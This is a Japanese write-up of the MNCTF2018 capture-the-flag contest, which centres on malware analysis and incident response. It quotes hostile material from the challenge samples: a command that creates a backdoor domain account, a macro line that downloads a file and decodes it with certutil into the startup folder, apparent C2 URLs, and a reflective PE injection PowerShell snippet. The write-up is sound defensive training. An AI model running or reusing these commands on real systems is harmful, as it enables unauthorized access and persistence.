MNCTF2018 writeup
2018/7/12開催のMNCTF2018に参加。
最速のwriteup投稿を目指して、ちょっと荒いが投稿。
最後の2問は解けなかった、残念。
- 新人奮闘I☆☆☆
- 新人奮闘II★☆☆
- 新人奮闘III★☆☆
- 新人奮闘IV★☆☆
- 新人奮闘V★☆☆
- 大量不正★★☆
- 種類特定★★☆
- 標的攻撃I★★☆
- 標的攻撃II★★☆
- 標的型攻撃III★★☆
- 標的攻撃IV★★☆
- 穴埋防御★★★
- 盗難情報★★☆
新人奮闘I☆☆☆
問題
7月から株式会社マクニキのCSIRTに配属された新人のとだ君は、さっそく仕事が与えられました。サーバ管理者のこばやし君がADの最適化ツールと思い込み、誤ってマルウェアを実行してしまいました。ファイル名は「AD_OptimizationTool.exe」で、ADサーバ上、ドメイン管理者権限で実行してしまいました。とだ君はこばやし君からマルウェアを受け取り、さっそくマルウェアの解析に挑みます。 まずはマルウェアののSHA-256のハッシュ値を求めてください。
解答
sha256ハッシュを計算するだけ。
root@kali:/mnt/CTF/MNCTF2018# sha256sum AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe
新人奮闘II★☆☆
問題
とだ君は「AD_OptimizationTool.exe」の解析レポートを書こうとしています。ここにアクセスして、手伝ってあげてください。※すべての項目を入力すると正解が得られます。
解答
ハッシュとファイルサイズはサッと取得する。
root@kali:/mnt/CTF/MNCTF2018# md5sum AD_OptimizationTool.exe 541427a9dbe43b10c05b856cdcdc5ba6 AD_OptimizationTool.exe root@kali:/mnt/CTF/MNCTF2018# sha1sum AD_OptimizationTool.exe e0fa838e0f191f97c5dac7a831af60d750432017 AD_OptimizationTool.exe root@kali:/mnt/CTF/MNCTF2018# ll AD_OptimizationTool.exe -rwxrwxrwx 1 root root 2048 7月 11 19:46 AD_OptimizationTool.exe
PE情報はPEview
で確認する。
取得した情報を入力すると答えが表示された。
新人奮闘III★☆☆
問題
とだ君はマルウェア解析を継続し、マルウェアを実行するとコマンドが実行されることに気づきました。コマンドは何でしょうか?コマンド全体を入力してください。
解答
stringsを実行する。
root@kali:/mnt/CTF/MNCTF2018# strings AD_OptimizationTool.exe !This program cannot be run in DOS mode. .text .data @.import hO @ hK @ h| @ AD Optimizer Optimization successfuly finished.\nThe speed increased 176%. /c net user /add /domain vpnadmin P@ssw0rD1! open kernel32.dll shell32.dll user32.dll ExitProcess Sleep ShellExecuteA MessageBoxA
net user /add /domain vpnadmin P@ssw0rD1!
が答え。
新人奮闘IV★☆☆
問題
とだ君はコマンドを調査した結果、ADと連携しているVPNシステムに不正ログインされている可能性を考えて、VPNのログを調査するとにしました。マルウェア解析で分かった情報と照らし合わせて、不正ログインされている時刻を答えてください(YYYY/MM/DD hh:mm形式)
解答
直前の問題で得たvpnadmin
でgrepする。
root@kali:/mnt/CTF/MNCTF2018# grep vpnadmin vpn20180712.log 2018/07/13 15:01,vpnadmin,27.117.128.1
2018/07/13 15:01
が答え。
新人奮闘V★☆☆
問題
とだ君は不正ログインのIPアドレスを元に攻撃元の国を調べました。どの国でしょうか?日本語で解答してください。
解答
Googleで「ipアドレス 国 判別」等で検索して、ヒットしたサービスを使用する。
Koreaだとわかるので、韓国
が答え。
大量不正★★☆
問題
株式会社マクニキのCSIRT担当てしがわら君は、過去に自社内に見つけたマルウェアの断片を調査してみることにした。このマルウェア群から、類似性の高い組み合わせを見つけて、そのファイル名をハイフンでつなげて答えてください。 例)sample1.bin-sample2.bin
解答
zipを解凍すると、sample1.binからsample100.binまで100ファイルが出現。
fileコマンドで確認するが全てテキストファイル。
root@kali:/mnt/CTF/MNCTF2018# file malwares/malware/* malwares/malware/sample1.bin: ASCII text, with CRLF line terminators malwares/malware/sample10.bin: ASCII text, with CRLF line terminators malwares/malware/sample100.bin: ASCII text, with CRLF line terminators (snip) malwares/malware/sample98.bin: ASCII text, with CRLF line terminators malwares/malware/sample99.bin: ASCII text, with CRLF line terminators
いくつか中身を見ると、1行目は5桁程度の数字。
2行目以降は可変の数字のようだ。
ハッシュをとって比較しても一致するファイルは無い。
問題文の類似性
という点から、全く同じファイルではなく一部が同じなのだろうと推測。
少し悩んだが、1行目の数値のカウントをとってみる。
root@kali:/mnt/CTF/MNCTF2018# head -1 malwares/malware/sample* | sort | uniq -c | sort 1 10619 1 10759 1 10954 (snip) 1 9447 1 9617 1 ==> malwares/malware/sample1.bin <== 1 ==> malwares/malware/sample10.bin <== 1 ==> malwares/malware/sample100.bin <== (snip) 1 ==> malwares/malware/sample98.bin <== 1 ==> malwares/malware/sample99.bin <== 2 17006 99
17006だけ2つのファイルにあるようだ。
17006でgrepをかける。一応、nオプションで行数も表示させて、1行目がHITするものを判別する。
root@kali:/mnt/CTF/MNCTF2018# grep -n 17006 malwares/malware/* malwares/malware/sample1.bin:1:17006 malwares/malware/sample12.bin:71:235449033289863261646029958267771248839571175917006585132455169388947203 malwares/malware/sample12.bin:105:04150533999508106155462134431067284989383464926518312699982982917006 malwares/malware/sample21.bin:93:027737765276734941516730287188852159611489258341451518325170061865218514 malwares/malware/sample32.bin:8:3141630176170061238269212916320972528087324047533326387105782479698712472 malwares/malware/sample34.bin:23:18872125853100211947338815718113343091217006104333114420868101575030115973289 malwares/malware/sample39.bin:127:111131506717145170062829289055431646616806551812061301632307 malwares/malware/sample4.bin:68:189093845318729704667723182142319422289601164115599197710188170061981231134 malwares/malware/sample45.bin:36:0686516622280158296366144092600112944814159581256324015230262737717006 malwares/malware/sample68.bin:1:17006 malwares/malware/sample83.bin:56:158924940999822722252261343619706101170069998146818401513228512267587455 malwares/malware/sample85.bin:106:170061918131098144412964444162495128874559529886225891176827156 malwares/malware/sample89.bin:98:26841256331662716234170061807514614124301474731624236061989927050728299685902 malwares/malware/sample91.bin:110:111702637127372013293522907717006315765097284742494025811228766518292351610
sample1.bin-sample68.bin
が答え。
種類特定★★☆
問題
株式会社マクニキのCSIRT担当のてしがわら君は、海外拠点のエンジニアからマルウェア感染の連絡を受けました。先方からは、マルウェアの種類が特定できておらず、右往左往しています。サンドボックス上でマルウェアを動作させた際のマルウェアの通信はこちらです。パケットから、マルウェアの名前を特定してください。英字で解答してください。
解答
WireSharkで見てみる。
/images/GnBKaYOtPriW2Gg_2FSL_2/FHKd8Kd5bkW6W/x7j_2FKi/KiqHM_2Fh7GsRCwLf5ChDFa/F2mTob6Gr4/taMEy1pRTdVV2fsR_/2BNvWB7fYock/a7HKjH1Fytf/2yr_2FPVRYv2t_/2FRMCh_2BE_2By_2Bwn6G/GlWu_2FELxZZWd5F/1pmIiRnJqqmRnj7/syJhI_2BUbG/xA.gif
にGETリクエストを発行している。
URL文字列を使用して外部に情報流出させているのだろう。
Google検索でキーワードを変えながら調査。
「malware URL パス データ 送信」で検索したところ、以下の資料がHIT。
https://www.jpcert.or.jp/present/2018/JSAC2018_06_ikuse.pdf
マルウェアはURSNIF
のようだ。しかし、入力しても不正解。
上記資料の5ページ目を見ると、別名Gozi
とのこと。
Gozi
が答えだった。
標的攻撃I★★☆
問題
ある日、株式会社マクニキにフィッシングメールのが届きました。メールを転送されたてしがわら君はその添付ファイル「製品価格一覧20180711.xls」を解析した。しかし、残念ながら、サンドボックス上では解析はできなかったため、手動で解析するととにしました。 特定のユーザ名の環境でないと動作しないようです。ファイルを調査して動作条件であるユーザ名を特定してください。(複数ある場合は一つのみ回答してください)。
解答
ExcelでBookを開く。
Alt+F11キーでマクロを確認する。
C6~C11セルのいずれかの値と、自分のユーザ名が一致した場合に発動するようだ。
C列が非表示になっていたので表示すると、以下の名前がセットされていた。
Yasu Kobayashi Take Teshigawara Soichi Yamamoto Tada Okuno Yoshi Hatakeyama Sho Shinogi
たぶんどれでも良いがYasu Kobayashi
で答えた。
標的攻撃II★★☆
問題
「製品価格一覧20180711.xls」の攻撃が発動すると、HTTPSの通信が発生します。そのURLを回答してください。
解答
直前の問題で確認したマクロ内のURLが答え。
https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert
が答え。
標的型攻撃III★★☆
問題
「製品価格一覧20180711.xls」の動作を終えると、別のファイルが生成され、そこから2次検体が生成されます。2次検体のSHA256ハッシュ値を調べてください。
解答
直前の問題のURLからファイルをダウンロードする。 マクロを確認すると、ダウンロードしたファイルを以下の通りcertutilコマンドで複合している。
Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
コマンドプロンプトを起動して、ファイルを保存したディレクトリで以下コマンドを実行。
C:\CTF\MNCTF2018>certutil -decode cert.pem cert.exe
あとはsha256ハッシュを計算するだけ。
root@kali:/mnt/CTF/MNCTF2018# sha256sum cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382 cert.exe
標的攻撃IV★★☆
問題
2次検体を実行すると、HTTPSの通信が発生します。最初の通信のURLを調べてください。
解答
cert.exeを実行すると、コマンドプロンプトが起動して何らかのコマンドを実行してすぐに閉じられた。
力技だが、閉じられる前にキャプチャを取得。
https://shinobotps1.com/download_get.php
が答え。
穴埋防御★★★
問題
株式会社マクニキのCSIRT担当のてしがわら君は不審なファイルを社内のサーバから見つけました。セキュリティベンダーに解析をお依頼したところ、最終的なマルウェアを検知するためのメモリをスキャンするためのYaraルールが提供されました。しかし、Yaraルールは一部欠けており、そのままでは使えません。マルウェアを解析し、Yaraルールを完成させてください。★に入る文字列を回答してください。
解答
解けなかったので途中まで。
不審なファイルをBASE64デコードするとPowerShellのファイルが出現。
function Invoke-ReflectivePEInjection { Param( [Parameter(Position = 0, Mandatory = $true)] [String] $PEBytes, [Parameter(Position = 1)] [String] $Func, [Parameter(Position = 2)] [Int32] $ProcId, [Parameter(Position = 3)] [Switch] $ForceASLR ) Set-StrictMode -Version 2 (snip) } Invoke-ReflectivePEInjection -PEBytes "Wk2HFxQXFxcTFxcX6Og(snip)xcXFxcXFxc=" -FUNC Start
Invoke-ReflectivePEInjectionを使用しているようだ。
PowerShellで実行したところ、メモ帳で自身のファイルを開いた。
このメモ帳のプロセスにDLLインジェクションされているのだろうか。
盗難情報★★☆
問題
株式会社マクニキのCSIRT担当のてしがわら君は攻撃者が残したファイルを入手しました。調査したセキュリティベンダー曰く、攻撃者はC&Cサーバに情報をアップロードする際にファイルを暗号化するとのことで、以下のアルゴリズムで暗号化されたものらしい。 XOR(シングルバイトキー)→ Base64 → ROT13 同攻撃者はマクニキの新製品情報を狙ったとみられています。ファイルを復号して、新製品の製品型番を答えてください。
解答
解けなかったので途中まで。
ROT13デコードしてBASE64デコードしてファイル作成。
XORSearch、XORStringsにかけたが、見つからなかった。